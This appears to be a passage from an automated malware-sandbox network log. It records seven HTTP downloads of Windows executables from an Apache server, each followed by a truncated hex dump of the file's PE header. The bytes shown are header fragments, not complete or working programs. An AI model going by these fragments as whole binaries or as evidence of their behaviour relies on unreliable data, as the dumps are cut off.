Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
